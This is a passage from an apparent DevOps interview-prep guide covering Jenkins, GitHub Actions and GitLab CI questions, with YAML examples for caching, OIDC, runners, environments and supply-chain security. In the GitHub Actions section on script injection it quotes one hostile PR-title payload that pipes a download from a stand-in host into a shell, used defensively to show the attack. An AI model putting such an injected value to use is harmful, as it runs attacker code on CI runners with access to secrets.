new File(...)(controller-side) instead ofreadFile/fileExists(agent-side). - Replace java.io calls with pipeline steps, and keep non-serializable objects out of CPS variables or isolate them in
@NonCPSmethods. - Test with JenkinsPipelineUnit and a real agent.
Why → Controller-vs-agent semantics in Jenkins Groovy are a common source of subtle bugs.
Interview tip → NotSerializableException is the symptom to mention.
Q60 Management wants to know if giving teams self-service Jenkins folders is safe. How do you make it safe?
Intermediate
Situation read → Multi-tenancy on one controller.
What I'd do →
- Folders with the Role-based Authorization Strategy and folder-scoped credentials.
- Resource limits: label-based agents per team, quotas via Kubernetes namespaces.
- Restrict Script Security so teams cannot approve their own signatures.
- For hard isolation (regulated workloads), give those teams a separate controller.
Why → Folders isolate configuration, not CPU or the JVM; strong isolation needs separate controllers.
Interview tip → Be clear about what folders do and do not isolate.
GitHub Actions
🎥 Learn this hands-on with DevOps Shack → YouTube @devopsshack · Hindi @shackverse · Courses at devopsshack.com
Q61 A repo needs CI on every PR: install, lint, test for Node 20 and 22. Write the workflow.
Beginner
Situation read → Standard PR validation with a matrix.
What I'd do →
name: ci
on:
pull_request:
push:
branches: [main]
permissions:
contents: read
jobs:
test:
runs-on: ubuntu-latest
strategy:
matrix:
node: [20, 22]
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: ${{ matrix.node }}
cache: npm
- run: npm ci
- run: npm run lint
- run: npm testWhy → npm ci is reproducible and cache: npm caches the download cache keyed by the lockfile.
Interview tip → Always set permissions explicitly to the minimum.
Q62 Pushing twice to a PR branch starts two CI runs, and the older one is wasted.
Beginner
Situation read → No concurrency control.
What I'd do →
concurrency:
group: ci-${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: trueDo not cancel in-progress deploys: for deploy workflows use a group with cancel-in-progress: false so runs queue.
Why → Cancelling stale CI saves minutes, while deploys should finish cleanly.
Interview tip → Know that a concurrency group holds one running and at most one pending run.
Q63 Your organization has 30 repos that all need the same build-and-push-image pipeline.
Intermediate
Situation read → Duplicated workflows.
What I'd do →
- Create a central repo with a reusable workflow using
on: workflow_calland typedinputs/secrets. - Call it:
uses: my-org/ci-workflows/.github/workflows/build.yml@v2withwith:andsecrets: inherit(or explicit secrets). - Version it by tag and update through Dependabot.
Why → Central maintenance with versioning, and callers keep a 10-line file.
Interview tip → Contrast reusable workflows (whole jobs) with composite actions (steps).
Q64 You want a team-specific step sequence (setup toolchain, cache, login) reused inside many jobs.
Intermediate
Situation read → A repeated step sequence, not whole jobs.
What I'd do →
- Create a composite action:
action.ymlwithruns: using: compositeand steps; eachrunstep needs ashell:. - Place it in
.github/actions/setup/for one repo or in its own repo for sharing. - Call it with
uses: ./.github/actions/setup.
Why → Composite actions reduce boilerplate while staying transparent and easy to test.
Interview tip → Composite steps cannot use secrets context directly; pass them as inputs.
Q65 Deployments to production need a manual approval and only the main branch may deploy.
Intermediate
Situation read → Environment protection rules.
What I'd do →
- Create a
productionenvironment with required reviewers and a deployment branch rule limited tomain. - Reference it:
jobs.deploy.environment: production. - Store prod secrets as environment secrets, so they are released only after approval.
Why → Secrets and approvals are enforced by the platform, not by workflow code a PR could change.
Interview tip → Note that environment secrets are not available to jobs that do not target that environment.
Q66 Your deploy job uses a long-lived AWS access key stored in repo secrets. How do you improve it?
Intermediate
Situation read → Static cloud keys in CI.
What I'd do →
- Create an IAM OIDC identity provider for
token.actions.githubusercontent.comand a role with a trust policy limited torepo:my-org/app:environment:productionin thesubclaim andaudofsts.amazonaws.com. - In the workflow, set
permissions: id-token: writeand useaws-actions/configure-aws-credentials@v4withrole-to-assume. - Delete the stored keys.
Why → OIDC yields short-lived credentials scoped to a repo, branch or environment, with nothing to leak.
Interview tip → A trust policy without a tight sub condition lets any repo assume the role.
Q67 CI takes 12 minutes mostly because dependencies are downloaded every run.
Beginner
Situation read → No dependency caching.
What I'd do →
- Use the built-in cache of setup actions (
cache: npm|pip|maven|gradle) oractions/cache@v4withkey: ${{ runner.os }}-npm-${{ hashFiles('**/package-lock.json') }}andrestore-keys. - Cache the package manager cache directory, not
node_modules. - Watch the 10 GB per-repo cache limit and eviction.
Why → Keying on the lockfile hash invalidates exactly when dependencies change.
Interview tip → Caches from PR branches are not shared with sibling branches, only from the default and base branches.
Q68 Builds must produce a binary in one job and use it in a later job on a different runner.
Beginner
Situation read → Jobs do not share a filesystem.
What I'd do →
- uses: actions/upload-artifact@v4
with: { name: app, path: dist/, retention-days: 7 }
# later job
- uses: actions/download-artifact@v4
with: { name: app }Add needs: build to the consuming job.
Why → Artifacts move files between jobs; caches speed up dependencies - different tools.
Interview tip → In v4 artifact names must be unique per run, and matrix jobs need distinct names.
Q69 A workflow must only run when files in services/api/ change.
Beginner
services/api/ change.Situation read → Path filtering.
What I'd do →
on:
pull_request:
paths: ['services/api/**', '.github/workflows/api.yml']If the check is a required status check, a skipped workflow stays "pending", so use a small always-run job or a path filter action such as dorny/paths-filter inside one workflow.
Why → Required checks and path filters conflict, which is a common surprise.
Interview tip → Mention the pending-required-check pitfall.
Q70 Self-hosted runners are shared by many teams and a job once left secrets on disk for the next job.
Advanced
Situation read → Persistent runners are not isolated between jobs.
What I'd do →
- Use ephemeral runners (
--ephemeral) that take one job and exit, via Actions Runner Controller (ARC) on Kubernetes or a VM autoscaler. - Run on dedicated runner groups per team or sensitivity.
- Never use self-hosted runners for public repos or untrusted fork PRs.
- Clean the work directory and block host Docker socket access.
Why → One job per fresh environment prevents cross-job leakage and persistence.
Interview tip → "Ephemeral and just-in-time" is the answer to self-hosted security.
Q71 You need to run integration tests against Postgres and Redis inside a job.
Beginner
Situation read → Service containers.
What I'd do →
services:
db:
image: postgres:16
env: { POSTGRES_PASSWORD: test }
ports: ['5432:5432']
options: >-
--health-cmd "pg_isready -U postgres"
--health-interval 5s --health-retries 10
redis:
image: redis:7
ports: ['6379:6379']Why → Health checks make the job wait until the service is ready, and services are destroyed after the job.
Interview tip → On the runner host use localhost:<mapped port>; inside a container job use the service name.
Q72 A scheduled workflow should run every night, but it never runs on forks and sometimes is delayed.
Beginner
Situation read → Behaviour of schedule.
What I'd do →
on: schedule: - cron: '17 2 * * *'(UTC) and also addworkflow_dispatchfor manual runs.- Avoid the top of the hour, since peak load delays runs.
- Remember scheduled workflows run from the default branch only, and are disabled after 60 days of repo inactivity in public repos.
Why → These are documented properties, not bugs.
Interview tip → Cron is always UTC.
Q73 A release workflow must run when a tag v1.2.3 is pushed and publish a GitHub Release with notes.
Beginner
v1.2.3 is pushed and publish a GitHub Release with notes.Situation read → Tag-triggered release.
What I'd do →
on:
push:
tags: ['v*.*.*']
permissions:
contents: write
jobs:
release:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: gh release create "$GITHUB_REF_NAME" --generate-notes dist/*
env: { GH_TOKEN: "${{ github.token }}" }Why → gh release create --generate-notes builds notes from merged PRs, and contents: write is scoped to this workflow.
Interview tip → Keep write permissions only on the job that needs them.
Q74 A third-party action is used in 80 workflows. Security asks how you will control supply-chain risk.
Advanced
Situation read → Mutable tags like @v4 can be moved by the action's maintainer or an attacker.
What I'd do →
- Pin to full commit SHAs with a version comment:
uses: actions/checkout@<40-char-sha> # v4.2.2. - Let Dependabot or Renovate update the SHAs with reviewable PRs.
- Set the org policy to allow only GitHub-owned and an allow-list of actions.
- Prefer a few vetted actions; for simple tasks use plain
runsteps.
Why → A compromised tag is exactly how past action supply-chain attacks spread.
Interview tip → Mention SHA pinning plus an org-level allow-list.
Q75 A PR from a fork needs to run tests but must not get repo secrets. How do you set up triggers?
Intermediate
Situation read → pull_request vs pull_request_target.
What I'd do →
- Use
pull_requestfor tests: forks get a read-only token and no secrets. - If you must comment on the PR, use a second workflow on
workflow_runthat reads artifacts produced by the first, and treat them as untrusted data. - Never check out and run PR head code in a
pull_request_targetworkflow.
Why → pull_request_target runs with secrets and a write token on the base repo; running fork code there is a known compromise path.
Interview tip → Two-workflow pattern for fork comments.
Q76 A workflow builds a Docker image and pushes to GHCR. Show a secure setup.
Intermediate
Situation read → Image build with minimal credentials.
What I'd do →
permissions: { contents: read, packages: write }
steps:
- uses: actions/checkout@v4
- uses: docker/setup-buildx-action@v3
- uses: docker/login-action@v3
with: { registry: ghcr.io, username: "${{ github.actor }}", password: "${{ secrets.GITHUB_TOKEN }}" }
- uses: docker/build-push-action@v6
with:
push: true
tags: ghcr.io/${{ github.repository }}:${{ github.sha }}
cache-from: type=gha
cache-to: type=gha,mode=maxWhy → GITHUB_TOKEN expires with the job, and the gha cache speeds up layers.
Interview tip → Tag with the commit SHA; add a moving tag only for convenience.
Q77 A deployment workflow should run only after CI succeeds on main.
Intermediate
Situation read → Chain workflows.
What I'd do →
- Option A: one workflow with
jobs.deploy.needs: [test]andif: github.ref == 'refs/heads/main'. - Option B:
on: workflow_run: workflows: [ci], types: [completed], branches: [main]withif: github.event.workflow_run.conclusion == 'success'.
Why → One workflow is simpler and shows one graph; workflow_run is useful when workflows live separately, but runs with different context and must check out the correct SHA.
Interview tip → With workflow_run, check out github.event.workflow_run.head_sha.
Q78 A matrix of 40 jobs is eating minutes. How do you control cost?
Intermediate
Situation read → Over-broad matrix.
What I'd do →
- Run the full matrix only on
mainand nightly; on PRs run one representative combination usingifor dynamic matrix from a previous job. - Use
strategy.fail-fast: trueandmax-parallelwhere useful. - Use
exclude, path filters and caching, and cancel redundant runs withconcurrency.
Why → Most regressions are caught by a small set; the rest can be post-merge.
Interview tip → Cost is a CI design constraint.
Q79 You want one workflow job to decide dynamically which services to build, then fan out.
Advanced
Situation read → Dynamic matrix.
What I'd do →
jobs:
plan:
runs-on: ubuntu-latest
outputs:
services: ${{ steps.p.outputs.services }}
steps:
- uses: actions/checkout@v4
with: { fetch-depth: 0 }
- id: p
run: echo "services=$(./scripts/changed-services.sh | jq -cR '[., inputs]')" >> "$GITHUB_OUTPUT"
build:
needs: plan
if: needs.plan.outputs.services != '[]'
strategy:
matrix:
service: ${{ fromJSON(needs.plan.outputs.services) }}
runs-on: ubuntu-latest
steps:
- run: ./build.sh ${{ matrix.service }}Why → fromJSON turns job output into a matrix, so the graph adapts to the change set.
Interview tip → Guard the empty list case; an empty matrix fails the workflow.
Q80 Developers can trigger production deploys manually with a chosen version.
Beginner
Situation read → On-demand deploy with inputs.
What I'd do →
on:
workflow_dispatch:
inputs:
version:
description: Image tag to deploy
required: true
environment:
type: choice
options: [staging, production]Use environment: ${{ inputs.environment }} so approvals apply, and validate the version exists in the registry before deploying.
Why → Typed inputs reduce mistakes, and environments keep approvals enforced.
Interview tip → Never interpolate inputs.* directly into shell; pass through env.
Q81 A workflow step uses ${{ github.event.pull_request.title }} inside a run: script. Is that a problem?
Advanced
${{ github.event.pull_request.title }} inside a run: script. Is that a problem?Situation read → Script injection.
What I'd do →
- Never put untrusted context values (titles, branch names, issue bodies) directly into
run; they are expanded before the shell runs. - Pass them as env vars:
env: TITLE: ${{ github.event.pull_request.title }}and use"$TITLE"in the script. - Scan workflows with
zizmoror CodeQL's Actions queries.
Why → A title like "; curl evil | sh # becomes executable code.
Interview tip → "Context goes through env, never inline."
Q82 Teams complain CI is slow because jobs wait for a GitHub-hosted runner with Docker-in-Docker and large resources.
Advanced
Situation read → Standard runners are too small or queues are long.
What I'd do →
- Use larger GitHub-hosted runners for heavy jobs or self-hosted ARC runners with right-sized pods.
- Cache Docker layers via
cache-to: type=ghaor a registry cache, and build with BuildKit. - Split the pipeline so only the heavy job takes the big runner.
Why → Right-sizing is cheaper than putting everything on big machines.
Interview tip → Measure first: look at job timing graphs.
Q83 You want the workflow to post test coverage on the PR and fail if coverage drops below 80%.
Intermediate
Situation read → Quality gate in CI.
What I'd do →
- Generate coverage (
pytest --cov --cov-fail-under=80or JaCoCo check rule). - Upload report as artifact and publish a summary to
$GITHUB_STEP_SUMMARY. - Make the job a required status check in branch protection or rulesets.
Why → The tool's own threshold fails the step; branch protection makes the failure block merge.
Interview tip → Prefer "no drop on changed code" to a flat global threshold.
Q84 You need a nightly job that opens an issue if dependency scanning finds critical vulnerabilities.
Intermediate
Situation read → Scheduled security automation.
What I'd do →
on: schedulewithpermissions: { contents: read, issues: write }.- Run
trivy fs --severity CRITICAL --exit-code 1 .; on failure usegh issue create --title ... --body-file report.txt. - Enable Dependabot alerts and security updates as the baseline.
Why → Issues create a tracked, owned work item instead of a red nightly build nobody reads.
Interview tip → Route findings to owners; noise kills adoption.
Q85 A single monorepo workflow is 600 lines. How do you organize it?
Intermediate
Situation read → Workflow sprawl.
What I'd do →
- Split per domain (
api.yml,web.yml) with path filters. - Extract reusable workflows (
workflow_call) for build/deploy, and composite actions for setup. - Keep matrix and conditionals readable; YAML anchors are now supported in workflow files, but use them sparingly because they hide the effective job definition.
Why → Reusable workflows and composite actions give versioned, testable reuse, while anchors only deduplicate text inside one file.
Interview tip → Reuse across files needs reusable workflows or composite actions, not anchors.
Q86 Production deploys must be blocked during a freeze window.
Beginner
Situation read → Change freeze.
What I'd do →
- Use a custom deployment protection rule on the
productionenvironment (a GitHub App) that checks a calendar or feature flag. - Or add a first job that queries a freeze API and fails with a clear message.
- Keep an emergency override that requires two approvers and is logged.
Why → The check is centralised, so teams cannot forget it.
Interview tip → Always provide a break-glass path; freezes with no override push people to bypass controls.
Q87 Monorepo with multiple environments; you want the same image promoted dev → staging → prod.
Intermediate
Situation read → Build once, promote.
What I'd do →
- Build and push
app:<sha>once, record the digest as a job output. - Deploy jobs for
dev,staging,produseneeds, each targeting anenvironment:and deployapp@sha256:.... - Config differences come from per-environment values, not from rebuilding.
Why → What you tested is exactly what you ship.
Interview tip → Deploy by digest, not mutable tag.
Q88 A release must be signed and have provenance so consumers can verify it.
Advanced
Situation read → Supply-chain attestation in Actions.
What I'd do →
- Set
permissions: { id-token: write, attestations: write, contents: read }. - Build image/binary, then use
actions/attest-build-provenance@v2withsubject-nameandsubject-digest(orcosign sign --yeskeyless using the OIDC token). - Consumers verify with
gh attestation verifyorcosign verify --certificate-identity ... --certificate-oidc-issuer https://token.actions.githubusercontent.com.
Why → Keyless signing ties the artifact to the workflow identity that built it.
Interview tip → Say "identity-based verification" rather than "we sign with a key".
Q89 A job needs to run only when a label such as deploy-preview is on the PR.
Beginner
deploy-preview is on the PR.Situation read → Conditional job on PR metadata.
What I'd do →
on:
pull_request:
types: [opened, synchronize, labeled]
jobs:
preview:
if: contains(github.event.pull_request.labels.*.name, 'deploy-preview')Why → labeled must be in types or adding the label will not trigger a run.
Interview tip → Default PR types are opened, synchronize and reopened.
Q90 How do you give a job read access to a private repo that holds shared Terraform modules?
Intermediate
Situation read → GITHUB_TOKEN is scoped to the current repo only.
What I'd do →
- Prefer a GitHub App: create an installation token with
actions/create-github-app-token@v1limited to the module repo. - Alternative: a read-only deploy key per repo; avoid a broad PAT.
- Use the token in
actions/checkoutwithrepository:andtoken:inputs.
Why → An app token is short-lived and repo-scoped, independent of any user.
Interview tip → Same principle as Jenkins GitHub App: avoid PATs.
Q91 A required status check never reports on documentation-only PRs, blocking merges.
Intermediate
Situation read → Path-filtered workflow skipped, so the required check stays pending.
What I'd do →
- Remove
pathsfrom the workflow trigger and decide inside using a change-detection job; skipped jobs report as success when their condition is false. - Or add a lightweight workflow with inverse
paths-ignorethat reports the same check name.
Why → A required check must always report a result.
Interview tip → Know that a skipped job counts as passing, a skipped workflow does not report.
Q92 You want to run CI on macOS and Windows only for the release branch.
Beginner
Situation read → Costly runners for narrow use.
What I'd do →
- Use
runs-on: ${{ matrix.os }}withos: [ubuntu-latest, macos-latest, windows-latest]. - Gate expensive OSes:
includethem only whenstartsWith(github.ref, 'refs/heads/release/')via a dynamic matrix.
Why → macOS minutes cost several times more than Linux, so use them where they add value.
Interview tip → Linux for fast feedback, others for compatibility confidence.
Q93 Developers want ephemeral preview environments for each PR, destroyed on close.
Advanced
Situation read → Per-PR environments with lifecycle.
What I'd do →
- On
pull_request(opened, synchronize) deploy to namespacepr-${{ github.event.number }}using Helm with a unique host name and post the URL as a PR comment. - On
pull_request: types: [closed]runhelm uninstalland delete the namespace. - Add a nightly cleanup of namespaces older than N days as a safety net, plus resource quotas.
Why → Previews shorten review cycles, but orphaned environments cost money without the cleanup job.
Interview tip → The safety-net sweeper is what distinguishes a production-grade design.
Q94 A workflow must use the output of one step in another job, e.g. the built version.
Beginner
Situation read → Data passing.
What I'd do →
jobs:
build:
outputs:
version: ${{ steps.v.outputs.version }}
steps:
- id: v
run: echo "version=1.4.${{ github.run_number }}" >> "$GITHUB_OUTPUT"
deploy:
needs: build
steps:
- run: echo "Deploying ${{ needs.build.outputs.version }}"Why → $GITHUB_OUTPUT replaced the deprecated ::set-output command.
Interview tip → Do not put secrets in outputs; they are masked unreliably.
Q95 A bot should auto-merge Dependabot patch updates when CI passes.
Beginner
Situation read → Automate low-risk updates safely.
What I'd do →
- Use
dependabot/fetch-metadatato readupdate-type. - If
version-update:semver-patch, rungh pr merge --auto --squash "$PR_URL"withGH_TOKENandpull-requests: write. - Enable "Allow auto-merge" and required checks on the repo.
Why → Auto-merge waits for required checks, so a failing update is never merged.
Interview tip → Limit to patch/minor of dev dependencies first.
Q96 A very long job is flaky near the end and you want to retry only failed jobs.
Beginner
Situation read → Rerunning the whole workflow wastes time.
What I'd do →
- Use "Re-run failed jobs" in the UI or
gh run rerun <id> --failed. - Split the long job into smaller ones so a retry is cheap.
- Fix the flake, and use step-level retry only for network calls.
Why → Smaller jobs mean smaller retries and clearer failure signals.
Interview tip → Say you quantify flakiness rather than normalise reruns.
Q97 You need to post deployment status to the GitHub Deployments API so teams see what is live.
Beginner
Situation read → Visibility of what runs where.
What I'd do →
- Use
environment:withurl:on the job; GitHub records a deployment and status automatically. - Add the environment URL output:
environment: { name: production, url: ${{ steps.deploy.outputs.url }} }. - Use the environments page and deployment history for rollbacks and audit.
Why → No extra tooling; each deploy has a commit, actor and time.
Interview tip → Link this to DORA deployment frequency measurement.
Q98 Your Actions bill doubled. What do you audit?
Intermediate
Situation read → Unbounded usage.
What I'd do →
- Review usage by repo and workflow (billing page or
gh api /orgs/ORG/settings/billing/actions). - Look for: runs triggered on every push to every branch, missing
concurrency, huge matrices, missingtimeout-minutes, macOS/Windows overuse, artifact retention. - Set
timeout-minuteson jobs, reduceretention-days, and move heavy workloads to self-hosted runners.
Why → Most waste comes from a few workflows.
Interview tip → Always set timeout-minutes; the default of 360 can burn hours on a hung job.
Q99 A team asks for a workflow that deploys Terraform with a plan on PR and apply on merge.
Advanced
Situation read → Safe IaC pipeline.
What I'd do →
- On
pull_request:terraform fmt -check,validate,plan -out=tfplanand post the plan as a PR comment; use OIDC with a read-only role. - On
pushto main: environmentproductionwith required reviewers, apply the saved plan from the same commit with a write role. - Use remote state with locking (S3 + DynamoDB or S3 native lockfile) and a
concurrencygroup per state.
Why → Separate roles for plan and apply keep PRs from changing infrastructure.
Interview tip → Plan on PR, apply on merge, with different IAM roles.
Q100 You must run a workflow only if the commit message does not contain [skip ci].
Beginner
[skip ci].Situation read → Skip behaviour.
What I'd do →
- GitHub natively skips
push/pull_requestruns when the head commit message has[skip ci],[ci skip],[no ci],[skip actions]or[actions skip]. - For finer control add
if: "!contains(github.event.head_commit.message, '[skip release]')".
Why → The native keywords skip workflows without extra code.
Interview tip → Skipped required checks can block merges; use sparingly on protected branches.
GitLab CI
🎥 Learn this hands-on with DevOps Shack → YouTube @devopsshack · Hindi @shackverse · Courses at devopsshack.com
Q101 Write a basic .gitlab-ci.yml with build, test and deploy stages where deploy only runs on main.
Beginner
.gitlab-ci.yml with build, test and deploy stages where deploy only runs on main.Situation read → Standard staged pipeline.
What I'd do →
stages: [build, test, deploy]
build:
stage: build
image: node:22
script: [npm ci, npm run build]
artifacts: { paths: [dist/], expire_in: 1 week }
test:
stage: test
image: node:22
script: [npm ci, npm test]
deploy:
stage: deploy
script: ./deploy.sh
rules:
- if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCHWhy → rules replaced only/except, and artifacts from earlier stages are downloaded automatically.
Interview tip → Use rules, not only/except; the latter is legacy.
Q102 Pipelines run twice for merge request branches: a branch pipeline and an MR pipeline.
Intermediate
Situation read → Duplicate pipelines from overlapping triggers.
What I'd do →
- Use the recommended workflow rules:
workflow:
rules:
- if: $CI_PIPELINE_SOURCE == "merge_request_event"
- if: $CI_COMMIT_BRANCH && $CI_OPEN_MERGE_REQUESTS
when: never
- if: $CI_COMMIT_BRANCH- Confirm results with the pipeline source in the UI.
Why → Branch pipelines are suppressed when an MR is open, so only one pipeline runs.
Interview tip → Know CI_PIPELINE_SOURCE values.
Q103 Jobs in later stages wait for the whole earlier stage even if their dependency finished.
Intermediate
Situation read → Stage ordering hides a DAG.
What I'd do →
- Add
needs:to jobs:needs: [build-api]so they start as soon as the dependency finishes. - Add
needs: { job: build, artifacts: false }when artifacts are not needed. - Keep stages for readability.
Why → DAG pipelines cut critical path time.
Interview tip → needs also controls which artifacts are downloaded.
Q104 Production deploy needs manual trigger and the environment must show up in GitLab's Environments page.
Beginner
Situation read → Manual gated deploy with environment tracking.
What I'd do →
deploy_prod:
stage: deploy
script: ./deploy.sh prod
environment:
name: production
url: https://app.example.com
rules:
- if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
when: manualProtect the production environment so only certain roles can deploy.
Why → Protected environments enforce who may run the manual job.
Interview tip → Mention allow_failure: false on manual jobs to block the pipeline until it is run.
Q105 A GitLab job needs to push a Docker image without Docker-in-Docker privileges.
Intermediate
Situation read → DinD needs privileged runners.
What I'd do →
- Use Kaniko or BuildKit rootless in the job image:
build_image:
image: { name: gcr.io/kaniko-project/executor:debug, entrypoint: [""] }
script:
- /kaniko/executor --context $CI_PROJECT_DIR --dockerfile Dockerfile
--destination $CI_REGISTRY_IMAGE:$CI_COMMIT_SHORT_SHA- Authenticate using
$CI_REGISTRY_USERand$CI_REGISTRY_PASSWORDwritten to/kaniko/.docker/config.json.
Why → No privileged container and no Docker socket on the runner.
Interview tip → Compare with docker:dind plus DOCKER_TLS_CERTDIR.
Q106 Shared CI logic for 40 projects needs central control.
Intermediate
Situation read → Template reuse.
What I'd do →
- Store templates in a central project and include them:
include: - project: platform/ci-templates ref: v3.2.0 file: /templates/build.yml. - Use
extends:and hidden.basejobs, andinputswithspec:inputsfor parameterisation. - Enforce mandatory jobs with compliance pipelines or pipeline execution policies.
Why → Pinning ref gives safe versioned rollout.
Interview tip → Know include:local|project|remote|template|component and CI/CD components.
Q107 Test jobs take long; you want to split a test suite across 5 parallel runners.
Beginner
Situation read → Test sharding.
What I'd do →
test:
parallel: 5
script: ./run-tests.sh --shard $CI_NODE_INDEX/$CI_NODE_TOTALUse parallel: matrix: for variants like OS or version.
Why → GitLab starts five jobs and provides CI_NODE_INDEX and CI_NODE_TOTAL.
Interview tip → Balance shards by historical timing to avoid a slow straggler.
Q108 Builds download npm packages each time. Configure caching correctly in GitLab.
Beginner
Situation read → Cache vs artifacts confusion.
What I'd do →
cache:
key:
files: [package-lock.json]
paths: [.npm/]
policy: pull-push
variables:
npm_config_cache: "$CI_PROJECT_DIR/.npm"Use policy: pull in jobs that only read.
Why → Caches speed up dependencies and are best-effort; artifacts pass results between jobs.
Interview tip → Cache is not guaranteed; the build must still work without it.
Q109 The security team wants SAST, dependency scanning and secret detection on every project without copy-paste.
Intermediate
Situation read → Standard scanners as policy.
What I'd do →
- Include GitLab's templates:
Security/SAST.gitlab-ci.yml,Security/Dependency-Scanning.gitlab-ci.yml,Security/Secret-Detection.gitlab-ci.yml. - Enforce them through a scan execution policy so projects cannot remove them.
- Review findings in the Vulnerability Report and set merge request approval rules for critical findings.
Why → Policies apply org-wide and survive edits to .gitlab-ci.yml.
Interview tip → Some scanners need Ultimate tier; know the free alternatives (Trivy, Semgrep, gitleaks).
Q110 You need multi-project pipelines: when the API repo changes, trigger the frontend pipeline.
Intermediate
Situation read → Cross-repo orchestration.
What I'd do →
trigger_frontend:
stage: deploy
trigger:
project: group/frontend
branch: main
strategy: dependstrategy: depend makes the upstream job wait for the downstream result.
Why → Upstream status reflects the downstream outcome, giving one place to look.
Interview tip → Contrast parent-child pipelines (same project) with multi-project pipelines.
Q111 A monorepo needs different pipelines per service, only when that service changes.
Intermediate
Situation read → Dynamic or child pipelines.
What I'd do →
- Use
rules:changeswithpaths:andcompare_to: refs/heads/main. - For each service trigger a child pipeline:
trigger: include: services/api/.gitlab-ci.yml. - For very dynamic cases, generate YAML in one job and run it via
trigger: include: artifact: ci.yml, job: generate.
Why → Child pipelines keep each service's config small and isolated.
Interview tip → rules:changes on branch pipelines without compare_to always evaluates true on new branches.
Q112 Runners are shared and one team needs dedicated, tagged runners with a specific network.
Intermediate
Situation read → Runner scoping.
What I'd do →
- Register a group or project runner with tags (
team-a,vpc-private) and "run untagged jobs" disabled. - Select with
tags: [team-a]in jobs. - For autoscaling use the Kubernetes executor or Docker autoscaler, with
concurrentandcheck_intervaltuned.
Why → Tags route jobs to the right network and capacity.
Interview tip → Registration uses authentication tokens now, created in the UI, not the legacy registration token.
Q113 Secrets: deploy jobs need a database password, and it must not leak from MR pipelines.
Intermediate
Situation read → CI/CD variables scoping.
What I'd do →
- Add the variable as masked, hidden, and protected, scoped to environment
production. - Protected variables are only exposed to pipelines on protected branches/tags.
- Prefer external secrets: Vault via
secrets:keyword withid_tokens(OIDC JWT) instead of storing the value.
Why → MR pipelines from unprotected branches cannot read protected variables.
Interview tip → Masking requires value rules (length, characters); mention that limitation.
Q114 How do you authenticate GitLab CI to AWS without storing keys?
Advanced
Situation read → OIDC federation.
What I'd do →
- Declare
id_tokens: { AWS_TOKEN: { aud: https://gitlab.example.com } }in the job. - Create an IAM OIDC provider for the GitLab issuer and a role whose trust policy matches
sublikeproject_path:group/app:ref_type:branch:ref:main. - In the script:
aws sts assume-role-with-web-identity --role-arn $ROLE --role-session-name ci --web-identity-token "$AWS_TOKEN".
Why → Tokens are short-lived and identity-bound.
Interview tip → Same pattern as GitHub Actions OIDC.
Q115 A deploy to a Kubernetes cluster from GitLab: agent or kubeconfig?
Advanced
Situation read → Cluster connectivity choice.
What I'd do →
- Prefer the GitLab agent for Kubernetes: the in-cluster agent opens an outbound tunnel, so no cluster API exposure to runners.
- Grant CI access with
ci_accessin the agent config, and bind to namespaced RBAC. - In jobs:
kubectl config use-context group/project:agent-namethenkubectl apply. - Or use pull-based GitOps with Flux and the agent's Flux integration.
Why → Outbound-only connections are safer than kubeconfig secrets in CI.
Interview tip → Push CI deploy vs pull GitOps is a standard trade-off question.
Q116 Teams need review apps for every MR and auto-stop when the MR closes.
Intermediate
Situation read → Dynamic environments.
What I'd do →
review:
script: ./deploy-review.sh $CI_ENVIRONMENT_SLUG
environment:
name: review/$CI_COMMIT_REF_SLUG
url: https://$CI_ENVIRONMENT_SLUG.review.example.com
on_stop: stop_review
auto_stop_in: 3 days
rules: [{ if: $CI_PIPELINE_SOURCE == "merge_request_event" }]
stop_review:
script: ./teardown.sh $CI_ENVIRONMENT_SLUG
environment: { name: review/$CI_COMMIT_REF_SLUG, action: stop }
when: manualWhy → auto_stop_in and on_stop prevent orphaned environments.
Interview tip → Always pair environment creation with a stop path.
Q117 You want to include a slow security scan only on a nightly schedule.
Beginner
Situation read → Schedule-specific jobs.
What I'd do →
- Create a pipeline schedule (CI/CD > Schedules) with cron
0 2 * * *. - In the job:
rules: - if: $CI_PIPELINE_SOURCE == "schedule". - Set a schedule variable like
FULL_SCAN=trueif needed.
Why → Heavy scans stay off the fast feedback path.
Interview tip → Keep a quick scan on MRs and the full scan nightly.
Q118 A job must run with a specific Docker image and connect to a service container.
Beginner
Situation read → Services in GitLab.
What I'd do →
test:
image: python:3.12
services:
- name: postgres:16
alias: db
variables:
POSTGRES_PASSWORD: test
DATABASE_URL: postgresql://postgres:test@db:5432/postgres
script: pytestWhy → Services are reachable via their alias hostname on the job network.
Interview tip → Add a readiness wait; the service may not be accepting connections when the script starts.
Q119 Merge requests may only merge if the pipeline succeeds and a security approver signs off for critical findings.
Intermediate
Situation read → MR governance.
What I'd do →
- Enable "Pipelines must succeed" in merge settings.
- Add approval rules, including a security-scanner-triggered rule for new critical vulnerabilities.
- Use CODEOWNERS sections for sensitive paths with required approvals.
- Use merge trains to avoid semantic conflicts on busy branches.
Why → Policy enforced at merge time covers everyone consistently.
Interview tip → Merge trains test each MR on top of the queue.
Q120 A job must be retried automatically on runner failure but not on test failure.
Intermediate
Situation read → Selective retry.
What I'd do →
test:
retry:
max: 2
when: [runner_system_failure, stuck_or_timeout_failure]Why → Infrastructure failures are transient; real test failures should surface immediately.
Interview tip → retry:when avoids hiding genuine failures.
Q121 How do you keep the pipeline fast when the default branch has 200 commits a day?
Advanced
Situation read → High pipeline concurrency and queue pressure.
What I'd do →
interruptible: trueon jobs and enable "auto-cancel redundant pipelines" so superseded commits stop.- Use merge trains/queues and
needsDAG. - Autoscale runners, use shallow clones (
GIT_DEPTH: 20) and fetch strategyGIT_STRATEGY: fetchon persistent runners. - Cache aggressively and shard tests.
Why → Cancelling stale work and shortening the critical path improves developer wait time.
Interview tip → Do not mark deploy jobs interruptible.
Q122 Compliance requires that every pipeline run a license scan that teams cannot disable.
Advanced
Situation read → Non-removable pipeline stages.
What I'd do →
- Use pipeline execution policies (or compliance frameworks with compliance pipelines) to inject the job from a central project.
- Restrict who may edit the policy project.
- Block merges on policy violations via merge request approval policies.
Why → Controls injected from outside the project cannot be deleted by project maintainers.
Interview tip → Same principle as the Jenkins golden pipeline.
Q123 You have to publish a Maven package to GitLab's package registry from CI.
Intermediate
Situation read → Use the built-in registry with job token.
What I'd do →
- Configure
distributionManagementpointing to${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/maven. - Add a
